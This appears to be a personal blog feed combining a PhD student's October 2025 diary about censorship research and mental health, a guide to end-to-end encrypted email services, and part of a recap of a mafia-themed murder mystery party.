do I set this as a measureable goal? More literature review, persumabely all of FOCI related papers this month. Work on my codebase: Do code cleaning Add comments for code Start working on ICMP stuff More socializing! :-) A fun pet project? Maybe with Go? Maybe with 3d printer? Idk. Enhance your routines and add exercise to it please! Alright. Now that the goals are set, let\u0026rsquo;s start the month strong! My last exam for pervious semester will be on October 7th. I have done 74 ECTS, another 6 will be my last RIL. If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. I then just need to do my QE for which I should submit my first paper for which I\u0026rsquo;m doing work!\nI have started to take SSRIs again. I used to take them before I came to Germany to start my PhD, but after coming here things were going really well for many months, and I wanted to cut the medication. I was taking more than just SSRIs actually, and my psychiatrist agreed to cut all other three medications but advised me to keep taking my SSRI. After being all happy and things working very well, we started to cut the last piece of the puzzle. We agreed to reduce the dosage by 0.25% of the max and wait for one month. Things were going really well for the first two and a half month, and then it happened. The catastrophe that put me in my worst mental and physicall position happened to me. It\u0026rsquo;s not something I want to talk about in my blog, well at least for now, but I\u0026rsquo;ve tried to talk about it with my closest friends. It\u0026rsquo;s so sad that things happened the way they did. I never really fully recovered. But\u0026hellip; time has passed. Almost 8 months now. I should not have continued to cut my medication, but I did. I damaged myself badly by being stubborn. My brother who knew everything insisted that I should continue the usage, but I didn\u0026rsquo;t listen. My parents didn\u0026rsquo;t know anything, but could see thier happy son turning into the saddest, most depressed thing of all time. I was scared of my own shadow for more than one month. I eventually started to go out, but seeing some certain people made me uncomfortable. This is another thing I haven\u0026rsquo;t been able to figure out. In the end, I just endured pain, a lot of pain. I\u0026rsquo;m glad I didn\u0026rsquo;t break, but I do think most people would\u0026rsquo;ve. To deal with this pain, I decided to take many courses. Cure pain with more pain. What a fool I was. I just tore myself up mentally and added much more unneeded stress.\nDid I mention I didn\u0026rsquo;t show up in office for 6 weeks? And that when I came back I was hit again with things I didn\u0026rsquo;t understand? Sometimes in life shit happens, but this was a whole new level. I don\u0026rsquo;t know how much of this I want to talk about publicly, but I do want to just say that I was hurt really badly. I\u0026rsquo;ve been trying to just lay low, stick to myself, and stay the hell out of trouble.\n3rd Today is the German unity day, and we have a long weekend ahead! Other than that, last night was one of the most fantabolous days of my life. I\u0026rsquo;m feeling more content and secure. I\u0026rsquo;m feeling true happiness. I don\u0026rsquo;t know how much the SSRI is affecting me, but I know one thing for sure. I\u0026rsquo;m just like I used to be 9 months ago. Just as jolly, positive, and feeling like I\u0026rsquo;m on top of the world. Thinking about it a bit more, I do think I\u0026rsquo;m being a bit less passionate about my work. What could be the reason? Different priorities? Nah. I really love my research and care about it. I think it\u0026rsquo;s just that there is no pressure on me, and no deadline. I will try to set small deadlines for myself and force myself to be more productive. Oh, and the SSRI adverse effects are visible! Yeah\u0026hellip; But it\u0026rsquo;s going to be alright, I\u0026rsquo;m sure of it. I have an exam I need to prepare for on 7th, but I\u0026rsquo;ve been procrastinating. I should plan my days and stick to it. Hell yes.\n5th My student workshop paper to CoNEXT \u0026lsquo;25 was rejected. It got one weak accept and one weak reject, with both reviewers claiming to have somewhat familiarity with the topic.\nFirst review (wa) provided two suggestions for improving the work. However, as this was a workshop paper, the goal was to talk about the research in the presentation and afterwards fine-tune details.\nSecond review (wr) asked for more details. In the end they suggested only focusing on one approach and it\u0026rsquo;s evaluation. This kinda defeated the purpose of what I was trying to do, to provide \u0026ldquo;tools\u0026rdquo;.\nAnother thing they mentioned was how ML-based traffic analysis can be used to detect evasion. This is indeed something I like to work on and look at in the near future.\n7th Stressful day. I had my last exam, the exam for Interactive systems that I did not attend the main exam for. I tried to study over the weekend, but some weird things happened throughout the weekend, making my very distracted mind even more distracted. I don\u0026rsquo;t know how I did, but I\u0026rsquo;m glad I did the exam. Hopefully I did alright, although I kinda do know some of the mistakes I\u0026rsquo;ve made, which is a really bad sign\u0026hellip; I hope I won\u0026rsquo;t have to take another extra course in the next semesters, that would just be annoying. I really do hope so.\n8th I\u0026rsquo;m back at work, still very distracted with life. I do need to do literature review, expand my framework, and focus on my work. It\u0026rsquo;s a Wednesday unfortunately, meaning I have my German class until 9:30, which today it lasted until 9:45, and then we have cookies at 14:00. I hope I can get myself together and start being productive again.\n9th I will be doing literature review today. Yesteday I didn\u0026rsquo;t manage to get myself together. Drat. There will be a nice social event later today too. I can rest and socialize with my group\u0026rsquo;s amazing people! It\u0026rsquo;ll be fun! :)\nAnother fun thing is that I will get my very own physical GFW box today. It\u0026rsquo;s probably the most majestic thing that could\u0026rsquo;ve happened? The reason for it is that a month ago there was a leak for GFW. Lucky us I guess.\n13th Last week was again not a productive week. I will start to plan my days from now on. The important things are literature review, working on the code base, and looking at the box a bit. Unfortunately the new semester also starts from today. I\u0026rsquo;ll be having one, at most two courses.\n17th Another unproductive week. I think this was the worst one actually. I can\u0026rsquo;t focus on reading the papers, I get distracted easily or lose interest. Tobias suggested USENIX\u0026rsquo;s 3-slide slide deck to enhance my focus, I\u0026rsquo;ll give it a try.\nI also need to address the elephant in the room, and start working on the codebase.\nI also need to look at the GFW files more, and try to find useful stuff there.\nBut first I need to work on HTDN\u0026rsquo;s papers, and craft the slides. That is the highest priority on my list. I\u0026rsquo;ll do it.\n31st It went by. It went by quickly. I wasn\u0026rsquo;t able to pick myself up this month, but I won\u0026rsquo;t let it happen in the following. I want to be truthful, so I won\u0026rsquo;t hide anything. the only thing is I should\u0026rsquo;ve let myself grief a bit, and I did. I\u0026rsquo;m proud of it. It\u0026rsquo;s fine. For next month, I will start strong, try to get myself together, and pick myself up. I will make progress. I promise.\nAlso I think there is no point in me ranting everyday or every once in a while in my PhD journey posts? Maybe it\u0026rsquo;s not a bad thing. The problem is I don\u0026rsquo;t have much to present, and that\u0026rsquo;s why this is the content. Idk if I change the structure or not, but for now it is what it is.\nOk, let\u0026rsquo;s set some goals for next month in advance, then we can see how good we did.\nI want to work on ICMP stuff and make it work nicely. I want to do more literature review, maybe read all 2025 and 2024 censorship papers. Cross your fingers for this. I need to keep up with my courses, including the German class. I might work more on the GFW leaked data, but I think it\u0026rsquo;s not a priority for me for now. So\u0026hellip; scrap this last one. Downloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbtwACgkQtYgoUOBM jSryHhAAvH\u0026#43;XWK2675p6vFyzP9ZVDmyh1klyhNM/rLiErk5GfmnwNmKQIFxoMei9 2UuypSgH7l7mG9Ga\u0026#43;1Ph9W5YhA0qMMbA5LVWMyqlRfvVF9hoY4On21YRBieXqwsx G4jS7A4PxYZbRt8\u0026#43;lVuyphe\u0026#43;KMRiwOMfPuWoIse2hfpfhs64h\u0026#43;cmZVPen5zsWHD5 2jAV888Y5oqGc9uISf380zBqEn3jIJOxiWCi\u0026#43;4vS6p87h0x8E2tVqCUNQEGgiriu NLBkMOkuXAlQZnnv379jX4wh7N79bVjDoH3IHRQx\u0026#43;W8FqEGzu11D3VxO85\u0026#43;Q5/EY n0FvOI4EXtWAHKjsHFcEX/MfXESy5zwNgIWW7\u0026#43;8OYnIv1CRPLPz/hHoZxklkflyZ yqNdg8o\u0026#43;aRHsqbDVQxIKQXH5xUEcDH\u0026#43;9A7bRxmCmgksML01dPnrcw4ioYzu\u0026#43;t0em 4DRVp1HWJP/P7Sv2QrR6KgLS3DINRzC7ZkzV7Yeg40eQcb7BadEAZZ9aEjjDJtR0 B/n18yUje9BWNFc7nYKkmBYO4UU4L5O1lJWQZhgLrfWxZziJSRs2WTD\u0026#43;tKsbY\u0026#43;5/ YSEmToD9nAFioRSpWIV9/uYlsJYfGFtCCgNb/JD2uE\u0026#43;bROitVdZ6auE5AXmef1aN t1QRAQvtpctfFlmwkDdb0BLFS5GSbRr55mkLg1yGS2o4zsC6FQ8= =NvQ7 -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/PhD_journey/October_2025.md curl -fSLO https://blog.alipour.eu/sources/PhD_journey/October_2025.md.asc gpg --verify October_2025.md.asc October_2025.md ","permalink":"https://blog.alipour.eu/phd_journey/october_2025/","summary":"\u003ch1 id=\"1st\"\u003e1st\u003c/h1\u003e\n\u003cp\u003eOk, let\u0026rsquo;s start the month by declareing some goals and agendas.\u003c/p\u003e\n\u003cp\u003eWhat do I want to do this month?\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFinish previous semester.\u003c/li\u003e\n\u003cli\u003ePick the last of the course work for my prep phase.\u003c/li\u003e\n\u003cli\u003eFinalize the CoNEXT student workshop paper.\u003c/li\u003e\n\u003cli\u003eFinish my second RIL.\u003c/li\u003e\n\u003cli\u003eStart my 3rd and last RIL.\u003c/li\u003e\n\u003cli\u003eLearn more Go to become more comfortable with it, but how do I set this as a measureable goal?\u003c/li\u003e\n\u003cli\u003eMore literature review, persumabely all of FOCI related papers this month.\u003c/li\u003e\n\u003cli\u003eWork on my codebase:\n\u003col\u003e\n\u003cli\u003eDo code cleaning\u003c/li\u003e\n\u003cli\u003eAdd comments for code\u003c/li\u003e\n\u003cli\u003eStart working on ICMP stuff\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/li\u003e\n\u003cli\u003eMore socializing! :-)\u003c/li\u003e\n\u003cli\u003eA fun pet project? Maybe with Go? Maybe with 3d printer? Idk.\u003c/li\u003e\n\u003cli\u003eEnhance your routines and add exercise to it please!\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAlright. Now that the goals are set, let\u0026rsquo;s start the month strong!\nMy last exam for pervious semester will be on October 7th.\nI have done 74 ECTS, another 6 will be my last RIL.\nIf they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase.\nI then just need to do my QE for which I should submit my first paper for which I\u0026rsquo;m doing work!\u003c/p\u003e","title":"October '25"},{"content":"If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.\nHonestly, I don\u0026rsquo;t know why one would settle down for a paid option, but if you want to, then be my guest.\nWhy people don’t use E2EE email (and why you still should) Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.\nBut the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.\nI mean, generally speaking one can use e2ee for anything, and not just email, but doesn\u0026rsquo;t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you\u0026rsquo;re good to go!\nThe contenders (and how they feel to use) Proton Mail (consumer‑friendly, great cross‑provider story) Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.\nPrices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.\nHow to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.\nUps: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.\nDowns: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.\nHonestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It\u0026rsquo;s easy to use, and fun to show off.\nTuta (formerly Tutanota) (privacy maximalist, subject‑line encryption) Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.\nPrices (personal \u0026amp; business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.\nHow to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.\nUps: Max privacy posture; encrypted subjects between Tuta users; clean apps.\nDowns: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.\nI was introduced to this one literally for writing this post, I had no idea it existed before.\nGmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace) If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.\nPrices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.\nHow to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.\nUps: Seamless for employees; centralized key control; good audit/compliance story.\nDowns: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.\nI mean\u0026hellip; how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won\u0026rsquo;t. Not with the emails that matter to me.\nOutlook / Apple Mail with S/MIME (classic enterprise path) S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.\nPrices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.\nHow to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.\nUps: Great inside enterprises; MDM‑friendly; widely supported.\nDowns: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.\nOk. Is there that big of a difference between these and Gmail? Idk. I ain\u0026rsquo;t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.\nThunderbird + OpenPGP (free, powerful, nerd‑approved—now usable) Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.\nPrices: Free.\nHow to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.\nUps: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.\nDowns: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.\nThis is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don\u0026rsquo;t have iOS app which sucks, idk about Android.\nBrowser add‑ons: Mailvelope \u0026amp; FlowCrypt (bring E2EE to webmail) If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.\nPrices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.\nHow to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.\nUps: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.\nDowns: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells \u0026amp; whistles than a full desktop client.\nJust no. Don\u0026rsquo;t trust add-ons. Please.\nSo… which should you use? If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.\nHonestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.\nA note on what E2EE hides (and what it doesn’t) End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.\nQuick price \u0026amp; fit-at-a-glance Option Best fit Personal price vibe Notes Proton Mail Everyday private email + easy messages to anyone Free; personal paid tiers in single‑digit €/mo; business per‑user Password‑protected emails to non‑Proton; PGP support Tuta Privacy‑max email; encrypted subjects in‑ecosystem Free; personal low €/mo; business per‑user Password‑protected emails to non‑Tuta; open source Gmail CSE Orgs on Google Workspace Included with Enterprise Plus/Education/Frontline editions Admin setup + external‑recipient flow S/MIME (Outlook/Apple Mail) Enterprises with IT/MDM Software built‑in; cert costs vary Smooth inside one org; cert exchange needed across orgs Thunderbird OpenPGP Provider‑agnostic power users Free Can encrypt subjects via protected headers Mailvelope / FlowCrypt Must stay on webmail Free / paid enterprise options PGP in the browser; good stepping stone The 60‑second starter packs Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.\nThunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.\nShower thoughts So, why did I mention any of this? Aside from the fact that I do believe e2ee email should become defacto, and I don\u0026rsquo;t know why it isn\u0026rsquo;t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.\nA while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. The thing is, people might not use them because they don\u0026rsquo;t trust them.\nThe question I had was different. Assuming that the service is reliable, why can\u0026rsquo;t we use it and protect ourselves while doing so?\nIn hindsight this seems stupid. But listen to me. If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly \u0026ldquo;untrusted\u0026rdquo; medium, why wouldn\u0026rsquo;t you be able to use it? The only, and oh well, biggest problem is key exchange. Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it\u0026rsquo;s a way. And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. Like via a quick short call. They can also be faked, but let\u0026rsquo;s not go that extreme. Also if many do it, it\u0026rsquo;s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.\nIdk how stupid the thing I\u0026rsquo;m suggesting is, but I wonder if it can be done or not. I don\u0026rsquo;t know if I\u0026rsquo;m willing to spend my free time on it or not, but I though I should share the idea to at least know if it\u0026rsquo;s stupid and wrong or not.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN z\u0026#43;xZGP\u0026#43;orZYA3hUJtJFwKY3f6Lc\u0026#43;H0\u0026#43;rmPq/qwhdlyooASpap3G9n6Lh09vrimSl teMPcOiYIeFEN2NeewReyp\u0026#43;0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2 nh\u0026#43;i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO\u0026#43;hH2G87yPvf0B6cM6w qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ bfSn\u0026#43;ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA mLN7Fslis\u0026#43;dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A\u0026#43;A4J6 iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR ic2kF0bGJCaI/0Sen\u0026#43;lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y= =R0VX -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md.asc gpg --verify e2ee.md.asc e2ee.md ","permalink":"https://blog.alipour.eu/posts/e2ee/","summary":"A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.","title":"Sending End‑to‑End Encrypted Email (E2EE) without losing friends"},{"content":"Last night I attended a ZiS event called \u0026ldquo;the Murder Mystery night\u0026rdquo;.\nThe story was about two families. The Falcones, and the Moretti family.\nGold-embossed invitations arrive at La Plaza for a celebration of life honoring Salvatore Falcone, recently slain Don. All members of the Moretti family are invited to the party!\nFamily Trees %%{init: {\"flowchart\":{\"htmlLabels\": true, \"nodeSpacing\": 30, \"rankSpacing\": 35}} }%% flowchart TB subgraph falcone[\"Falcone — current generation\"] direction TB Salvatore[\"Salvatore Falconedead boss\"] Serena[\"Serenawidow (bosswife)\"] Salvatore -- Married --\u003e Serena %% row: siblings subgraph falcone_row1[ ] direction LR Sophia[\"Sophiaunderboss\"] Massimo[\"Massimolawyer\"] Fabiola[\"Fabiolafinancialadvisor\"] Aurora[\"Auroraassociate\"] end %% row: next generation subgraph falcone_row2[ ] direction LR Lorenzo[\"Lorenzofixer(Sophia's son)\"] Michelangelo[\"Michelangeloenforcer(Massimo's son)\"] Antonio[\"Antoniohitman\"] end Sophia --\u003e Lorenzo Massimo --\u003e Michelangelo Fabiola -- Married --\u003e Antonio end %%{init: {\"flowchart\":{\"htmlLabels\": true, \"nodeSpacing\": 30, \"rankSpacing\": 35}} }%% flowchart TB subgraph moretti[\"Moretti family\"] direction TB Benito[\"Benitoboss\"] Nicoletta[\"Nicolettabosswife\"] Claudia[\"Claudiaex wife\"] Benito -- Married --\u003e Nicoletta Benito -- Divorced --\u003e Claudia %% row: children subgraph moretti_row1[ ] direction LR Sergio[\"Sergiounderboss\"] Lucia[\"Luciaassociate\"] end Benito --\u003e|son| Sergio Nicoletta --\u003e|son| Sergio Benito --\u003e|daughter| Lucia Claudia --\u003e|daughter| Lucia %% row: Lucia's crew subgraph moretti_row2[ ] direction LR Violetta[\"Violettafixer\"] Santo[\"Santoenforcer\"] end Lucia --\u003e Violetta Lucia --\u003e Santo end Enrico[\"Enricofinantial advisor\"] Benito ---|younger brother| Enrico Who’s Who (quick dossiers) Falcone notes Salvatore Falcone (†) — Former Don, killed under mysterious circumstances. Serena — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia. Sophia — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore. Massimo — Younger brother; justice-minded, hardened by his wife’s death. Aurora — Youngest; underestimated as naive or harmless, but observant. Fabiola — Ambitious financial brain; growth-focused, clashes with tradition. Antonio — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have. Michelangelo — Massimo’s son; enforcer torn by guilt over his mother’s murder. Lorenzo — Sophia’s son; quiet fixer who tidies messes, unflappable. Moretti notes Benito — Calculating, paranoid Boss; obsessed with securing the bloodline through his son. Nicoletta — Benito’s wife; once a prostitute, now regal and cunning. Sergio — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the game. Enrico — Benito’s younger brother; accountant; clever, restless for influence. Violetta — The family’s ice-cold fixer; keeps things “clean,” whatever it costs. Claudia — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways. Lucia — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family. Santo — Lucia’s son; bold, admired and doubted in equal measure. Aside from these characters, there were two additional characters. Falcon\u0026rsquo;s priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them!\nWorld sketch: the Falcones make problems disappear and launder fortunes behind bright lights and polished floors; the Morettis flaunt neon glamour while doing the real work in shadows.\nAfter the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. All I knew was that on the night of the murder, I was not in Falcon\u0026rsquo;s house, and that I was out in a casino with Aurora.\nI didn\u0026rsquo;t know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO\nSo, without further of do, let\u0026rsquo;s dive riiiiiiiiiight in!!!! Weeeee haaaaa xD\nAct I, the dinner We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. Or that\u0026rsquo;s what was written in our invitations.\nThe Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone.\nThe clash was instant as they though we were disrespectful to wear such cloths. As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill.\nShe said, \u0026ldquo;I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it.\u0026rdquo;\nThe Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! They said Why would they take it so far to accuse them of accusing us of murder.\nVioletta, our family’s ice-cold fixer, replied, \u0026ldquo;it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention\u0026rdquo;.\nThey went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions.\nWhile the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won\u0026rsquo;t name here out of privacy). Thank you again for such an amazing event!\nAct II, the invitations Sophia looked at us with her death smile and said, \u0026ldquo;I was involved with 9 invitations, the ones to our family, and nothing more.\u0026rdquo;\nThe room went into a deep silence. What did she mean? Who made Moretti\u0026rsquo;s invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti\u0026rsquo;s to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out?\nThe occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them.\nVioletta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger\u0026hellip;\nAct III, the evidence Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did.\nThere were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore\u0026rsquo;s body from the other side. The third picture was of Salvatore\u0026rsquo;s dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN.\nMassimo got up from his sit, pointing to an article about her wife\u0026rsquo;s death. He stated how this was similar to her death, and how she died \u0026ldquo;The Moretti way\u0026rdquo;. \u0026ldquo;She was shot and pushed down the stairs. What other evidence do you need?\u0026rdquo; said Massimo.\nBenito replied calmly, \u0026ldquo;But Salvatore didn\u0026rsquo;t die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.\u0026rdquo;. \u0026ldquo;Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.\u0026rdquo;, said Sergio with a collected tone.\nMassimo wasn\u0026rsquo;t convinced, but he knew they were right. He just could not forgive her wife\u0026rsquo;s death.\nThe room went into silence again.\nVioletta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola\u0026rsquo;s accounting showing F\u0026amp;E laundering money for Salvatore. No one knew what F\u0026amp;E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore\u0026rsquo;s level, using the Falcones\u0026rsquo; casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it.\nIn the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: \u0026ldquo;Be careful\u0026rdquo;.\nSerena pointed to Antonio, and he took out a piece of paper of the family\u0026rsquo;s weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti\u0026rsquo;s have with the youngest of the Falcones?\nLorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio\u0026rsquo;s report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones\u0026rsquo; that night, and that he was in a casino with Aurora; no further explanation was provided by him.\nAurora didn\u0026rsquo;t budge either.\nSergio changed the subject swiftly. He pointed to the gun used for the murder and said, \u0026ldquo;Doesn\u0026rsquo;t that look like Santo\u0026rsquo;s gun? Where were you that night, Santos?\u0026rdquo;. \u0026ldquo;I was at home, with my mother\u0026rdquo;, Santos replied, and Lucia nodded.\nIt felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up.\nAct IV, the confessions The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard \u0026ldquo;there was another heir to Salvatore\u0026rsquo;s fortune\u0026rdquo;, that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child.\nThe prostitute continued, \u0026ldquo;Benito ordered to kill her mistress before the child was born, but he didn\u0026rsquo;t manage\u0026rdquo;. She said 